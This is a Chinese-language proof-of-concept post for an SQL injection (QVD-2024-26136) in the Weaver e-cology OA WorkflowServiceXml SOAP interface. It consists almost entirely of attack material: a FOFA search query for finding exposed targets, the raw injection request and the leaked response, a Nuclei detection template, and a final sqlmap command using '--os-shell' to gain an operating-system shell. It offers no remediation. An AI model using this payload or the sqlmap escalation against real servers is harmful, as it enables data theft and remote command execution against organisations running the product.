QVD-2024-26136 漏洞复现 poc

app="泛微-OA（e-cology）"

POST /services/WorkflowServiceXml HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0Content-Length: 422Connection: closeContent-Type: text/xmlAccept-Encoding: gzip<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver"><soapenv:Header/><soapenv:Body><web:getHendledWorkflowRequestList><web:in0>1</web:in0><web:in1>1</web:in1><web:in2>1</web:in2><web:in3>1</web:in3><web:in4><web:string>1=1 AND 2=2</web:string></web:in4></web:getHendledWorkflowRequestList></soapenv:Body></soapenv:Envelope>

HTTP/1.1 200 OKConnection: closeTransfer-Encoding: chunkedCache-Control: privateContent-Type: text/xml; charset=UTF-8Date: Wed, 17 Jul 2024 02:13:44 GMTServer: WVSSet-Cookie: ecology_JSessionid=aaaoDEbNHDKy05HlKOa8y; path=/X-Frame-Options: SAMEORIGINX-Xss-Protection: 1<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soap:Body><ns1:getHendledWorkflowRequestListResponse xmlns:ns1="http://webservices.workflow.weaver"><ns1:out><ns1:string>&lt;WorkflowRequestInfo&gt;  &lt;requestId&gt;106746&lt;/requestId&gt;  &lt;requestName&gt;~`~`7 会议取消`~`8 The meeting is canceled`~`~:-~`~`7 系统管理员`~`8 system administrator`~`9 系統管理員`~`~-2023-11-15&lt;/requestName&gt;  &lt;requestLevel&gt;0&lt;/requestLevel&gt;  &lt;workflowBaseInfo&gt;    &lt;workflowId&gt;1&lt;/workflowId&gt;    &lt;workflowName&gt;~`~`7 系统提醒工作流`~`8 System alert workflow`~`9 系統提醒工作流`~`~&lt;/workflowName&gt;    &lt;workflowTypeId&gt;&lt;/workflowTypeId&gt;    &lt;workflowTypeName&gt;&lt;/workflowTypeName&gt;  &lt;/workflowBaseInfo&gt;  &lt;currentNodeName&gt;~`~`7 提醒`~`8 remind`~`9 提醒`~`~&lt;/currentNodeName&gt;  &lt;currentNodeId&gt;2&lt;/currentNodeId&gt;  &lt;status&gt;~`~`7 提醒`~`8 remind`~`9 提醒`~`~&lt;/status&gt;  &lt;creatorId&gt;1&lt;/creatorId&gt;  &lt;creatorName&gt;~`~`7 系统管理员`~`8 system administrator`~`9 系統管理員`~`~&lt;/creatorName&gt;  &lt;createTime&gt;2023-11-15 09:48:27&lt;/createTime&gt;  &lt;lastOperatorName&gt;~`~`7 系统管理员`~`8 system administrator`~`9 系統管理員`~`~&lt;/lastOperatorName&gt;  &lt;lastOperateTime&gt;2023-11-15 09:48:27&lt;/lastOperateTime&gt;  &lt;receiveTime&gt;2023-11-15 09:48:27&lt;/receiveTime&gt;  &lt;canView&gt;false&lt;/canView&gt;  &lt;canEdit&gt;false&lt;/canEdit&gt;  &lt;mustInputRemark&gt;false&lt;/mustInputRemark&gt;  &lt;needAffirmance&gt;false&lt;/needAffirmance&gt;&lt;/WorkflowRequestInfo&gt;</ns1:string></ns1:out></ns1:getHendledWorkflowRequestListResponse></soap:Body></soap:Envelope>

id: QVD-2024-26136info:  name: 泛微E-Cology WorkflowServiceXml SQL注入漏洞  author: fgz  severity: high  description: 泛微E-Cology 是一款协同管理平台，旨在为中大型组织创建全新的高效协同办公环境。身份认证、电子签名、电子签章、数据存证让合同全程数字化。包含流程、门户、知识、人事、沟通、客户、项目、财务等 20多个功能模块。该系统WorkflowServiceXml接口处未对用户输入进行有效过滤，直接将其拼接进了SQL语句中，导致SQL注入漏洞，会导致数据泄露。  metadata:    max-request: 1    fofa-query: app="泛微-OA（e-cology）"    verified: truerequests:  - raw:      - |+        POST /services/WorkflowServiceXml HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0        Content-Type: text/xml        Connection: close        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver">        <soapenv:Header/>        <soapenv:Body>        <web:getHendledWorkflowRequestList>        <web:in0>1</web:in0>        <web:in1>1</web:in1>        <web:in2>1</web:in2>        <web:in3>1</web:in3>        <web:in4>        <web:string>1=1 AND 2=2</web:string>        </web:in4>        </web:getHendledWorkflowRequestList>        </soapenv:Body>        </soapenv:Envelope>    matchers:      - type: dsl        dsl:          - "status_code == 200 && contains(body, 'system') && contains(body, 'administrator') && contains(body, '提醒')"

python sqlmap.py -r 1.txt  --os-shell